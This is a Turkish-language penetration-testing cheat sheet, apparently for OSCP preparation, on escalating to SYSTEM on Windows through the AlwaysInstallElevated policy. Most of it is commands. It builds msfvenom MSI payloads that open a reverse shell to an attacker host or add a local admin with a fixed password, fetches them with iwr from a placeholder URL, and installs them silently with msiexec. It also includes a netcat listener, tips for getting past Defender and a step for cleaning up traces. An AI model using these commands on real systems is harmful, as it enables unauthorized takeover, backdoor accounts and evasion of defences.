AlwaysInstallElevated — SYSTEM Yetkisiyle .MSI Kurulumu
AlwaysInstallElevated politikasi hem HKLM hem HKCU altinda 1 ise, herhangi bir kullanici .msi paketlerini NT AUTHORITY\SYSTEM yetkisiyle kurabilir. msfvenom ile uretilen kotu amacli MSI msiexec ile calistirilarak SYSTEM elde edilir.
- Dusuk yetkili etkilesimli/komut satiri erisimi
- Kali tarafinda msfvenom (Metasploit) kurulu
Komutlar
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f msi -o evil.msi msfvenom -p windows/adduser USER=hacker PASS=Passw0rd123! -f msi -o adduser.msi iwr -Uri {{URL}}/evil.msi -OutFile C:\Windows\Temp\evil.msi msiexec /quiet /qn /i C:\Windows\Temp\evil.msi powerpick Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer','HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -EA SilentlyContinue Genel Bakis
AlwaysInstallElevated, Windows Installer’in MSI paketlerini her zaman yukseltilmis (elevated) yetkiyle kurmasini saglayan bir grup politikasi ayaridir. Bu ayar hem HKLM hem de HKCU altinda etkin (deger 1) oldugunda, dusuk yetkili herhangi bir kullanici kendi hazirladigi MSI paketini NT AUTHORITY\SYSTEM baglaminda calistirabilir. Tek tarafta 1 olmasi yetmez; ikisi de gereklidir.
Tespit / Enumerasyon
Ilk olarak iki registry anahtarini da dogrulayin. winPEAS bu kontrolu otomatik yapar ve AlwaysInstallElevated set to 1 in HKLM and HKCU!!! seklinde kirmizi isaretler. Manuel olarak reg query ile her iki kovani kontrol edin; her ikisinin de 0x1 dondurmesi exploit’in calisacagini gosterir.
Sömürü Akisi
- Kali’de msfvenom ile bir MSI payload uretin. Hedef mimarisine dikkat edin (x64/x86).
- MSI’yi
python3 -m http.serverile servis edip hedefeiwr/certutilile indirin. msiexec /quiet /qn /iile kurun./quiet /qnUI’yi bastirir, arka planda SYSTEM olarak yuk calisir.- Reverse shell payload kullandiysaniz once Kali’de
nc -lvnp {{LPORT}}ile dinleyici acin.
Notlar
- Reverse shell yerine
windows/adduserile dogrudan lokal admin eklemek daha sessiz ve guvenilir olabilir; sonrarunasveya RDP/evil-winrm ile giris yapilir. - Bazi ortamlarda Defender MSI payload’ini yakalar; standart msfvenom shellcode tetiklenebilir. OSCP baglaminda encoder yerine farkli bir
-fformati veya custom MSI (WiX) tercih edilebilir. - Exploit sonrasi olusturulan MSI ve gecici dosyalari
C:\Windows\Temp’ten temizlemeyi unutmayin.